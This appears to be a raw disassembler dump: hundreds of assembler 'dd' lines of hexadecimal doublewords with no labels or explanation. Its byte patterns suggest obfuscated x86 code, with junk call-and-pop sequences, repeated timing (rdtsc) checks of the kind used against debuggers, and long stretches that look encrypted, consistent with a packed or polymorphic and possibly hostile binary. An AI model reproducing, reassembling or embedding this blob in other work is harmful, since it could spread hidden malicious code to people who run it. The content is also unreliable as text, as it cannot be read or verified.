		dd 56460000h, 8DEC2DC3h, 2F549185h, 0DE86006h, 40000000h
		dd 6132EA92h, 616A2851h, 0C6FA3C99h, 34358D09h,	8058062Ch
		dd 0F561DBC8h, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 47002BC3h, 85893209h, 62C2C59h
		dd 28244403h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	83C35242h, 0E94FCA3Dh, 0Fh, 3622D379h, 747D1A4Fh
		dd 46E7CF4h, 0AB7B2A9Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 34C35646h, 9E9D1h, 0D2D90000h, 0B4E723F0h
		dd 29DDEC6Eh, 2C2BED9Dh, 8DFF5E06h, 62F85CEh, 85CEBD83h
		dd 7500062Fh, 8DC0330Ah, 2F94F3B5h, 56E6FF06h, 247C81ADh
		dd 28h,	500E7710h, 2C24448Bh, 91858D50h, 0FF062F54h, 244403D0h
		dd 0DF8B9728h, 85CA858Ah, 0C084062Fh, 73A0474h,	32574C75h
		dd 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h
		dd 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h
		dd 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h
		dd 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h
		dd 62C09E1h, 0FFFF5DE9h, 6A5EFFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0EEBABCC3h, 3E3F8488h
		dd 1B099529h, 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 315FA9C3h, 840FE50Ah, 0Ch, 6840Fh
		dd 0B5290000h, 62C3479h, 1C95B589h, 858B062Ch, 62C09E1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 85C35040h
		dd 0E0D1FCCAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0EAC35747h, 81897225h, 1BDDEB3h, 2C26A59Dh, 1810F06h
		dd 0F9000000h, 119D8503h, 2BFC062Ch, 59509F6h, 96062C20h
		dd 98C0Fh, 60600000h, 0C429B861h, 66616F1Ch, 50006AADh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0E0C100C9h, 53006A02h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 56BB26Eh, 81AFE01Dh, 3D852999h
		dd 89062C1Ch, 2C1FD585h, 0D1850306h, 6A062C1Ah,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0C9E9C352h, 96FC4586h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 9C35343h, 935B822Dh, 549C066Ch, 9E9h
		dd 43E8B600h, 0D903CEA8h, 8B60A0D7h, 2C0C5195h,	7DB52906h
		dd 61062C12h, 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0E9606720h, 0Bh, 0EA337B36h, 0E17C1DA9h
		dd 8BF5A5C5h, 7C8161DAh, 2424h,	870F1000h, 11Eh, 0BE9h
		dd 0CBF99300h, 0E884235Fh, 0CE7B83D1h, 7850F50h, 60000000h
		dd 8B66CC8Ah, 48961D1h,	0B5296024h, 62C23FDh, 24448B61h
		dd 14E928h, 5F50000h, 0EAF651A7h, 7DE742FEh, 0A050E7FFh
		dd 0A2D97430h, 90F92A43h, 9EEDB860h, 5250736Eh,	310F5250h
		dd 310F585Ah, 0BE9h, 96EADE00h,	36BB74DAh, 6AC3A376h, 5061585Ah
		dd 10860Fh, 60600000h, 6E861h, 24310000h, 30D3876Bh, 6A90615Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 3F2DC357h, 0D9BD0961h, 8D062C0Dh,	2F549185h
		dd 0B70F6006h, 816660D1h, 3CBF4DFh, 2C0DF185h, 60616106h
		dd 7E8h, 2DE7B200h, 7EAF37A0h, 5B5AD480h, 0DE9h, 1B6D0900h
		dd 0A90852AFh, 0FBCFB43h, 0FF618828h, 55006AD0h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0B0C4B231h, 0FE9h, 0C6E5A400h, 387B05F1h, 0A067360Ah
		dd 8A6CF761h, 310DBD89h, 4403062Ch, 8C0F2424h, 1, 244489F5h
		dd 50006A1Ch, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 42A7600Eh, 6787AF36h, 0C840Fh, 890F0000h
		dd 6, 860Fh, 85C60000h,	62C21ADh, 5285C700h, 62F87h, 0C7000000h
		dd 2F85D285h, 6, 81BD0900h, 60062C18h, 60BB72B8h, 5E964h
		dd 89650000h, 61F514F2h, 8E961h, 0C5FD0000h, 304A1289h
		dd 8C248FEh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 521E45FAh, 0D8B0Fh, 8E90000h, 87000000h
		dd 83F4191Bh, 8B346E2Ch, 2C1AD185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 419D89E5h
		dd 4A062C2Dh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0F9C35343h, 0C3BE1255h,	0A1950997h, 6B062C0Ah
		dd 6A04D2h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 3E8CA6C3h, 0BD319546h, 62C1CA5h, 6AC203h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8960D3C3h, 2C0889BDh, 7DB58B06h, 61062C29h, 0BF0F6096h
		dd 998D8BC7h, 61062C11h, 5DDBD01h, 89AD062Ch, 2C0B399Dh
		dd 247C8106h, 24h, 28870F10h, 0F000001h, 68Ch, 71BD8900h
		dd 50062C0Eh, 52605250h, 6161605Eh, 0EE9310Fh, 0CE000000h
		dd 0CB8713F2h, 6D39A79Dh, 51E4950Bh, 89585A95h,	6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 73F92BC3h, 0DE959h, 6E4A0000h, 387A2FAAh, 547BCF3h
		dd 0E9F48AF1h, 13h, 9FC165D8h, 0A294EF7Eh, 91CE8630h, 1AC393E0h
		dd 8BD0AF09h, 60282444h, 52505061h, 77BB6660h, 616160C7h
		dd 5250310Fh, 310F5250h, 310F585Ah, 0EE9h, 0CF3CFC00h
		dd 0FF159F7Eh, 0C0EDB50Fh, 5AA17723h, 89585A58h, 0BD292404h
		dd 62C28EDh, 5491858Dh,	6A062Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 2AC205C3h, 9E860h, 7BF10000h
		dd 0E5B83A74h, 9971D92h
		dd 2C1FE1BDh, 9D8B5B06h, 62C019Dh, 9D896061h, 62C2DD9h
		dd 21C19529h, 0FF61062Ch, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 819D89C2h
		dd 0E9062C2Dh, 0FFFFFD4Eh, 0C890Fh, 880F0000h, 6, 2361BD31h
		dd 0EE9062Ch, 6E000000h, 9751B6BFh, 0A3260943h,	0BE740B3h
		dd 0D3858D87h, 89062F9Ah, 2C05F19Dh, 840F9006h,	8, 2860Fh
		dd 61600000h, 36BB6050h, 0E85758E6h, 14h, 0A799FA31h, 59182C75h
		dd 8AB78E5Ch, 0B06E30DAh, 2B1DBEC4h, 0F590615Bh, 35FF64h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 72FCC350h, 0BBEB421Ah,	528FEF3Fh
		dd 8924048Bh, 2C04BD8Dh, 61858906h, 6A062C04h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 9E38C350h, 1D66E2FDh, 0B8E4F603h, 545BD89h, 8964062Ch
		dd 25h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh,	24448104h
		dd 1904h, 0C3574700h, 79D6BEAh,	9D098C37h, 62C19C5h, 9907858Dh
		dd 6A062Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 883064C3h, 99BD2360h, 0F8062C2Dh,	1608961h
		dd 238E9F9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0E9A854C3h, 0EC70B744h, 8E95CFFh
		dd 38000000h, 0DF2A9732h, 8BADDD06h, 0E8DBh, 815D0000h
		dd 2F9900EDh, 0FF9CBC06h, 0BD830012h, 62C0EC1h,	8B187400h
		dd 2C018985h, 0C606h, 66D858Bh,	0C6062Ch, 195FF00h, 60062C24h
		dd 81D6B5FFh, 858D062Fh, 62F81DAh, 0D2858D50h, 50062F83h
		dd 160995FFh, 0C483062Ch, 5260610Ch, 58F0BF0Fh,	1D958501h
		dd 6A61062Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F926C355h, 83D2B58Dh,	11E9062Fh
		dd 40000000h, 0C517AAA6h, 0FFD1AC5Bh, 21D3A6EBh, 660983BFh
		dd 1679BD8Dh, 0DE9062Ch, 0B3000000h, 965EC837h,	4E94DB36h
		dd 0B1639380h, 0F003E80h, 5E84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F6E620Ah
		dd 0C8Eh, 8D0F6000h, 0
		dd 13D4B966h, 0BD89A461h, 62C1F61h, 14B9B589h, 0B5E9062Ch
		dd 0FFFFFFFh, 1684h, 11E900h, 635A0000h, 5390F8AEh, 20660FDAh
		dd 0D9BE6824h, 2B8E3E84h, 0CD9589C0h, 0AA062C00h, 0B35BD89h
		dd 7B8062Ch, 60000000h,	0D7D68166h, 0E1B5892Eh,	61062C28h
		dd 18E585C7h, 1062Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0D4E3D2C3h, 518D8DF5h
		dd 6A062C4Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6066C351h, 741EBB66h, 0FE961h
		dd 0D6E90000h, 5AC12607h, 0CA240A96h, 7E1F9820h, 0E1FFF86Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BEC35747h
		dd 0DCB700BBh, 12E95CFEh, 0BA000000h, 1F202785h, 0C295F1B6h
		dd 4AFBE19Ah, 1B0E560Fh, 245C8B36h, 0E8550Ch, 5D000000h
		dd 9ADDED81h, 838B062Fh, 0B8h, 81D68589h, 858D062Fh, 62F98F9h
		dd 0B88389h, 335D0000h,	9529C3C0h, 62C0E35h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 25C35545h, 30E85DBAh
		dd 9D01794Ch, 62C1C65h,	71B58960h, 31062C13h, 2C102985h
		dd 0E9606106h, 11h, 0E459D06Dh,	0A16BFEA5h, 0B337D431h
		dd 8B697B34h, 3F858D86h, 6A062F9Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 709CC356h
		dd 89681EDBh, 2C0A9985h, 52509006h, 8F0F60h, 0E8000000h
		dd 5, 0EF95BCE9h, 0F615905h, 0C78A6031h, 5A616160h, 52505058h
		dd 3342B960h, 8B66331Eh, 310F61DEh, 2880Fh, 61600000h
		dd 0F90585Ah, 1089h, 0BE900h, 0FACA0000h, 90CF8E44h, 24DF98E0h
		dd 35FF64C9h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 3EC35747h
		dd 8589DB76h, 62C07B1h,	0E998D09h, 8964062Ch, 25h, 0BF0F6000h
		dd 858D61D2h, 62F9DDAh,	29A9BD89h, 6089062Ch, 61958901h
		dd 0C6062C26h, 2C21AD85h, 0E8F84F06h, 4, 0FEC8742Ah, 52506060h
		dd 585A310Fh, 0F506161h, 1380h,	0EE900h, 6E700000h, 96B96FF0h
		dd 118AFCEFh, 6D5379FAh, 424448Bh, 0F8A0Fh, 8B600000h
		dd 5E8D8h, 738E0000h, 58E927E4h, 0E9008B61h, 6,	74DF284Ch
		dd 4489AC6Eh, 800F0424h, 0Ch, 6860Fh, 52500000h, 585A310Fh
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 2792972Ah, 9D89E2F7h, 62C19A9h, 73DB5FFh
		dd 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8DB0A3C3h, 2F860C85h, 0D0FFF806h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2DC35242h, 8A3DC3ACh
		dd 0E98ACFA8h, 7, 0C23E7A8h, 0E9E1B55Bh, 0C0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 91C35040h, 8999F52Bh
		dd 2C24E5BDh, 245C8B06h, 0E8550Ch, 5D000000h, 9D49ED81h
		dd 858B062Fh, 62C1671h,	73D8589h, 858B062Ch, 62C25C9h
		dd 31218589h, 858B062Ch, 62C0B41h, 15ED8589h, 85C6062Ch
		dd 62C21ADh, 5285C700h,	62F87h,	8D000000h, 2F9DDA85h, 0B8838906h
		dd 5D000000h, 0E9C3C033h, 11h, 67979574h, 9945070Bh, 0E24EC6D8h
		dd 1E0A90D9h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 2941BEA0h, 2C13998Dh, 0EA816006h
		dd 26C0506Eh, 61F9BF0Fh, 12FF74BCh, 31858900h, 60062C1Ah
		dd 0BAD98B66h, 246E295Dh, 58F6461h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A7C35040h
		dd 0EF4114AEh, 9D89BA31h, 62C127Dh, 0F504C483h,	148E961h
		dd 500000h, 540000h, 580000h, 5C0000h, 600000h,	640000h
		dd 680000h, 6C0000h, 0B00000h, 0B40000h, 0B80000h, 0BC0000h
		dd 0C00000h, 0C40000h, 0C80000h, 0CC0000h, 0D00000h, 0D40000h
		dd 0D80000h, 0DC0000h, 0E00000h, 0E40000h, 0E80000h, 0EC0000h
		dd 38h dup(0)
		dd 39A60000h, 50EB0053h, 858D009Ch, 62F9E28h, 10B19D09h
		dd 8589062Ch, 62F9F68h,	224DBD89h, 85C6062Ch, 62C21ADh
		dd 0FE954h, 54FA0000h, 0D8513194h, 7FDE250Eh, 5DEEC981h
		dd 4E874h, 68290000h, 0BB60EE62h, 7A76300Ah, 437EBE66h
		dd 0BA665061h, 448B3D07h, 8B0424h, 4489DE8Bh, 0F530424h
		dd 85h,	0F585900h, 0B58BF6B7h, 62C0BB1h, 73DB5FFh, 0E956062Ch
		dd 14h,	5D03326Ch, 0A374C237h, 9AA47139h, 9393B073h, 6E242E04h
		dd 0B8A0BA5Fh, 858D052Bh, 62F860Ch, 0D0FFD78Bh,	0D6F38166h
		dd 89C88BBCh, 2F9F6C85h, 17C78006h, 60E9h, 9E800h, 56F90000h
		dd 4E0F32C0h, 0E9CA9589h, 0Fh, 0D1091416h, 9015F632h, 87101576h
		dd 5E02D5FEh, 68B58B56h, 89062F9Fh, 68858306h, 4062F9Fh
		dd 8D60C35Eh, 2F9E28B5h, 560FEB06h, 36FF006Ah, 9F6C95FFh
		dd 835E062Fh, 3E8304C6h, 61EC7500h, 0F5E981C3h,	2961AE1Ch
		dd 2C0CE985h, 54858D06h, 89062FA0h, 2C10AD9Dh, 0D5858906h
		dd 0E9062C29h, 115h, 31ACB120h,	8A055C97h, 76A18883h, 7A0E0A1Dh
		dd 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	0F73D577Dh
		dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h,	7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh,	20602060h
		dd 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h,	9DB7EDA6h
		dd 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h,	33537520h
		dd 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h,	0F360C950h
		dd 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh
		dd 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h,	5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	0F73D577Dh
		dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h,	7D2F6D37h
		dd 0E0A1E35h, 5D340700h, 59A0A3D2h, 1Eh, 0Bh dup(0)
		dd 0C92E900h, 0FD680000h, 0E9062FA3h, 0FFFCDAF2h, 2FA4E668h
		dd 0DAE8E906h, 0AD68FFFCh, 0E9062FA5h, 0FFFCDADEh, 2FA69168h
		dd 0DAD4E906h, 1068FFFCh, 0E9062FA7h, 0FFFCDACAh, 2FA7B768h
		dd 0DAC0E906h, 0F068FFFCh, 0E9062FA8h, 0FFFCDAB6h, 2FA9DE68h
		dd 0DAACE906h, 368FFFCh, 0E9062FABh, 0FFFCDAA2h, 2FABE568h
		dd 0DA98E906h, 0DF68FFFCh, 0E9062FACh, 0FFFCDA8Eh, 0C91A3A81h
		dd 63B43E18h, 0FE4FD7B2h, 97E8744Dh, 33840AE6h,	15F114A5h
		dd 0AF8D3E8Fh, 4E2BDC2Dh, 80C879CAh, 0D6641162h, 0ED182397h
		dd 8F8D6337h, 9139579Fh, 8830B290h, 96D51799h, 31C2BA20h
		dd 459AF262h, 34B8042h,	0F54D3DE5h, 0BD0E2C74h,	87EBDFFh
		dd 4A31C2BAh, 32169DAh,	0E4136B5Bh, 0CF9D274Fh,	0F25606BBh
		dd 0C8D51492h, 4837EE7Fh, 0BE66EAC7h, 0B8C66ECEh, 7FC33776h
		dd 930337EEh, 4372BA3Bh, 4636DE6Ah, 9CE495E6h, 72CBD67Eh
		dd 8537EE7Fh, 4CC2013Dh, 8E37EE7Fh, 1516BE1Eh, 1807AFCDh
		dd 0ED28C8CFh, 549CB554h, 0EC34E536h, 0DD2526CEh, 7A4C17BFh
		dd 3DE56745h, 7CFEDC4Dh, 17C8CF24h, 0F133B1CFh,	0EE7F5CB2h
		dd 900E7E37h, 0EE7FFD51h, 55AD1D37h, 8C6349F4h,	74B65829h
		dd 0EE6BC135h, 8A10EC37h, 724DBE2Eh, 0FA5242EAh, 4D4D0h
		dd 0AB89BE00h, 39918129h, 39579F7Fh, 2A489091h,	7DE57AD9h
		dd 0C2BAC83Eh, 3A9A0A31h, 0D7A87DBCh, 91C637EEh, 0BB8931B3h
		dd 9673E525h, 0DA3292D2h, 4B56FE6Eh, 37EE84F3h,	2530D7F0h
		dd 582A0F3Fh, 3AF6h, 9092B800h,	0AE151CF7h, 0F3E9659h
		dd 70B2307Ah, 2DD5F33Bh, 0C95AE53Dh, 5137EEECh,	0DC2E39E1h
		dd 0D337EEECh, 0E9714C81h, 6B139F78h, 0CBCE237Bh, 29FC361Ch
		dd 0A6ED58h, 9FAF0000h,	90913957h, 85862EB4h, 76771F3Dh
		dd 5092102Eh, 0C2BABD11h, 156DDD31h, 0BEB0F9B4h, 7BC331C2h
		dd 135B0C5Dh, 99E4DF5h,	190241BFh, 1F37EEC4h, 9A770EEAh
		dd 0F25EB616h, 3DD23182h, 807375F3h, 0D5E49E90h, 0B9F886DEh
		dd 31DDF9FDh, 0FA2FAD1Dh, 8947981Eh, 0D12D5387h, 2C845368h
		dd 0E449CFABh, 4A9204D5h, 0A084E31Bh, 0A2000009h, 39EA3B5Bh
		dd 0D384D55Fh, 6E1F70F8h, 7B80995h, 0C654A52Bh,	0AE341035h
		dd 4CCEAC5Dh, 0E96D4AFBh, 819FE798h, 0B6F58330h, 37ED1940h
		dd 9FAEAC82h, 3BEC3DC3h, 9A84D5F3h, 94125CF1h, 0EEDECC55h
		dd 0A9E82A37h, 37EE9E55h, 41AD0575h, 191B29D1h,	35CEEAB0h
		dd 6AF54D12h, 37EE6410h, 0AA88BD0Fh, 9C7BD028h,	2973E3C9h
		dd 0C39A58h, 9F5C0000h,	90913957h, 7BB02EB4h, 8C018A0h
		dd 579B8FAh, 4531C2BAh,	0A9F27DD5h, 0BC31C2BEh,	0A7057874h
		dd 3E7C06E0h, 0AC0C300Eh, 981CF92Eh, 0E62EDF40h, 0D3084AC8h
		dd 0DBCB73F5h, 0C282EA60h, 64BC2C31h, 1E68FDACh, 4D295EA0h
		dd 0D72F1FC7h, 0EEF8634Ch, 0CA1B8B37h, 0E8CD66Bh, 1E76FED9h
		dd 57565190h, 56C631DDh, 41C7A3D8h, 0DD633FF0h,	91D33B78h
		dd 0E6DA54Ah, 8B7h, 15272B9h, 9BEC7650h, 36870FEAh, 0CF20AC85h
		dd 6BBC421Eh, 4D29CCDDh, 0E7C576C7h, 86631465h,	0B800B102h
		dd 0E9C499Ah, 0ED1E7BCFh, 0C7C59B37h, 0EC3DC39Fh, 78B7F33Bh
		dd 31C2BA02h, 377B644h,	4331C2BAh, 0C21373D3h, 28579FD8h
		dd 0BE66C64Ch, 65775BDh, 4CE1EFF1h, 88458402h, 6837EEDCh
		dd 37414CF8h, 2436A70Ch, 0C5C7458Fh, 0B4AF8DCh,	89F79145h
		dd 0D579B5F3h, 7CBB49A1h, 331A26CFh, 985DC10Fh,	779A7BBFh
		dd 5D979917h, 0E86A48A6h, 1F125040h, 0CB83DB8Eh, 0C7A7BBBDh
		dd 947B68F5h, 2E780D3Ch, 0C0571B0h, 0C5353CD2h,	0F2D00547h
		dd 80D8C870h, 4899B7FFh, 0CC314F97h, 4F86B821h,	0F058B7EFh
		dd 0F2000007h, 893A8BABh, 23D425AFh, 0BE6FC048h, 570859E5h
		dd 16A4F57Bh, 0FE846085h, 9C1EFCADh, 39BD9A4Bh,	0D1EF37E8h
		dd 645D380h, 37ED1FB0h,	92FEFCD2h, 0BABD1150h, 6DDD31C2h
		dd 2E4C9415h, 0DB2F6EB0h, 0FB31C2BAh, 0CC7B338Bh, 7901DC37h
		dd 381E1D1h, 0BA0C82C1h, 0DE4E31C2h, 0F8B9F886h, 0FE37EEE6h
		dd 0BD65EFC9h, 880975CDh, 76C727ABh, 0BA388217h, 0DE77B47Bh
		dd 0EA68D831h, 109873A8h, 0C0EF37B8h, 820060E2h, 91E9734Dh
		dd 0FB377F30h, 997746BCh, 2D07883Dh, 3BE343A3h,	2FADF78Ch
		dd 0A996F0F0h, 0C7A5263Bh, 2567E545h, 0E666C823h, 0B810F9F2h
		dd 80D1EF37h, 105887CFh, 0DF1492F2h, 0E4D47C04h, 9025D48Ch
		dd 0E489C846h, 0E2256501h, 0DC4DCFADh, 0E4D47CFEh, 4BB0208Ch
		dd 56EEC99Ch, 0CCD2C64h, 0E000007h, 0A556A7C7h,	3FF041CBh
		dd 0DA8BDC64h, 73247501h, 32C01197h, 1AA07C99h,	0B83A18C9h
		dd 55D9B667h, 0ED0B5304h, 2261EF9Ch, 37ED1CACh,	921A18EEh
		dd 0BABD1150h, 8FDD31C2h, 4490E792h, 0EA42A2B0h, 5EDC26BBh
		dd 820EE71Ch, 792EADAh,	37F263D1h, 1247C535h, 0AA5BACCAh
		dd 0ED9C4462h, 4E900E58h, 9D317F4Ch, 0F96ACE72h, 0B43F971Dh
		dd 31C170E3h, 8B46AB1Bh, 554A92A8h, 68DBE1Dh, 488F0000h
		dd 4C26D728h, 0E5C071C2h, 825B0C5Dh, 18F4A5F6h,	1AB34192h
		dd 4C9D23FFh, 0EA3BBD9Bh, 87D85C39h, 1F708ED6h,	51A5E472h
		dd 7137ED1Dh, 5CF19D9Bh, 52559412h, 9037F25Bh, 0FB3158Eh
		dd 49A1D945h, 0ADEF6DDDh, 6E169C78h, 5DA5267Eh,	0B08CC13Fh
		dd 5C79CD0Ch, 299937EDh, 521071C9h, 14BC401Dh, 34BCC24h
		dd 0F98E3DE5h, 5CFC5291h, 0AE1E37EDh, 5791D04Eh, 0C731DDBDh
		dd 5CA4D957h, 0FA2FED3Eh, 0C1429A1Ch, 4B35B79h,	65A7256Fh
		dd 26CE5430h, 2E53DE36h, 0CE3BB149h, 8112F95Eh,	0C6FE50C2h
		dd 5E667h, 81A1E800h, 1BA57F30h, 0B63E19CAh, 4FDBB465h
		dd 0EB714DFEh, 56F30C9Ah, 0F2A3F47Ah, 90419214h, 2DDE2FB3h
		dd 0C976C7E5h, 1D86FC3Bh, 0F2C837EDh, 39579FF4h, 2418391h
		dd 31C2BA8Ch, 85DA80CEh, 0E6F0C3Ah, 8DD556AEh, 2ABF1E6Fh
		dd 0E2362E0h, 8E37EEEEh, 3368761Eh, 3B2BD355h, 0EDE658E3h
		dd 0E4FD37EEh, 0F64C3225h, 43035829h, 0C5000000h, 94125CF1h
		dd 0EEDECC55h, 34DC4C37h, 0EE9ED129h, 7F0BE437h, 348AC9D7h
		dd 5637EE9Eh, 159775E6h, 0AA205F6Dh, 0EC37EE9Eh, 0F198317Ch
		dd 0B6516AF1h, 2A2DB99Fh, 0FBD70C58h, 85DDCD75h, 0F15Bh
		dd 579F1D00h, 0AB86BB39h, 338B7B23h, 189E7A7Bh,	9276F70h
		dd 0FA186061h, 6EB6EBA9h, 60B8A850h, 0C2BE54D5h, 39579F31h
		dd 0C0EF37E8h, 9EDD5BE7h, 31C2BE28h, 0F29AFA6Ah, 0E664AE43h
		dd 0EEEA9AA7h, 79CA3A37h, 0BD3B851Ah, 0DD545B7Eh, 8B575931h
		dd 1427990Ch, 0DF4FBB13h, 0AB3A5F61h, 9FE55998h, 0B5253D98h
		dd 0D9D30B77h, 9805249Ah, 96F6663Dh, 9F7BB03Eh,	89669B19h
		dd 9B4CAD05h, 31D439BFh, 0CF4A91A5h, 4AD3897h, 68AF0000h
		dd 6C46F748h, 5E091E2h,	0A27B2C7Dh, 3814C516h, 3AD361B2h
		dd 6CBD431Fh, 0A5BDDBBh, 0A7F87C59h, 3F90AEF6h,	71C50492h
		dd 9137ED12h, 9092BDBBh, 0D50137h, 23A4FCF2h, 143C147h
		dd 0A80BFh, 0DC4C31C2h,	0C200ED61h, 0EADF2D31h,	0C50A8880h
		dd 0DF4098F8h, 4AC8E62Eh, 55943A15h, 31C2BFE1h,	0F951B121h
		dd 5CF1AE98h, 0CC559412h, 4C37EEDEh, 0D12934DCh, 0CE37EE9Eh
		dd 1D03D2B5h, 0D4582A2Eh, 0E0h,	39579F96h, 6AA86BBh, 0C2BA73C7h
		dd 0C3239331h, 0D6B2B36Bh, 1C9DA850h, 6731C2BEh, 0FFB0011Fh
		dd 42F199B7h, 0A6E563ADh, 37EEEA99h, 1978C939h,	7ABC3A84h
		dd 0A0688078h, 0E7C3F6D6h, 7C30161h, 0BD0525EFh, 141AA5FDh
		dd 7631DD65h, 47EF1928h, 83E3B797h, 6EF4D005h, 0A906C1Dh
		dd 91565AA5h, 0FF5E964Ah, 3BFh,	95A7AC1h, 0A3F47E58h, 3E8F17F2h
		dd 0D728B48Dh, 73C44A26h, 5531D4E5h, 0EFCD7ECFh, 8E6B1C6Dh
		dd 0C008B90Ah, 16A451A2h, 0ED1363D7h, 0CFCDA337h, 227E9092h
		dd 0C907916Bh, 8F0024FCh, 55D62EB2h, 0A5D3D579h, 5CCAE34Eh
		dd 0DF7FD34Eh, 0EBD31C2h, 0BEF3283Ah, 0E343B30Fh, 7B99E192h
		dd 55D4FBFDh, 0E7A0536Ah, 3B702E8Fh, 617FC760h,	2B695901h
		dd 0B5D4C6C6h, 9F59B18Bh, 4F28579Fh, 0CB2B1BC3h, 0BCDA2223h
		dd 3A88566Bh, 88FE3DA5h, 0E831C2BAh, 5CF6CE66h,	0FA6AC660h
		dd 10DD1C9Ah, 37EE74h, 0D4D6E490h, 35B74851h, 7E096160h
		dd 0D3D45974h, 86044EE3h, 560DB684h, 0C71F8723h, 0D861FA39h
		dd 5BA99D8Fh, 5A0EC670h, 0BA3898FFh, 51B0F3B8h,	80D82894h
		dd 7678BAC8h, 23234619h, 56AC27E0h, 78814F52h, 0EC81B008h
		dd 224937C4h, 347FBD49h, 0A27FF020h, 140BE1Eh, 877FA895h
		dd 9956EA3h, 0AD197161h, 67C7532Ch, 4E6CB4E9h, 0C5CACED0h
		dd 5293284Ah, 0A0E899FAh, 0A30C1D82h, 0CC04F4F4h, 29A6Dh
		dd 35559C00h, 0CF5933E4h, 6AF2CD7Eh, 38F6819h, 9F2501B2h
		dd 0A2FC04Eh, 0A657A82Eh, 44F546C8h, 0E192E367h, 7D2A7B99h
		dd 115AB0EFh, 0A67C37EDh, 1E9092A8h, 0F761FE5Ah, 78C04199h
		dd 6E03B25Ah, 0E267A624h, 237EE1Eh, 4E834192h, 368CCB75h
		dd 5837EE5Eh, 4B3088E8h, 0AE16AB89h, 0EE5E1B6Fh, 6BCB3B37h
		dd 3821AEEDh, 61D131C2h, 0B3A5A7B5h, 0D679F154h, 954E5193h
		dd 0DE434057h, 57D1F7B3h, 0C233934Ch, 79045C7Ah, 0E208B50Dh
		dd 2DABF58Ah, 6CA51EEh,	691181FFh, 0D248595Bh, 0DB225FD6h
		dd 75BF5483h, 76B5F7h, 42FED690h, 0ADEC7AD2h, 0F8E66A41h
		dd 45C72371h, 0F8EA0CE5h, 8C181A98h, 9CC6ACC1h,	99CE5CB4h
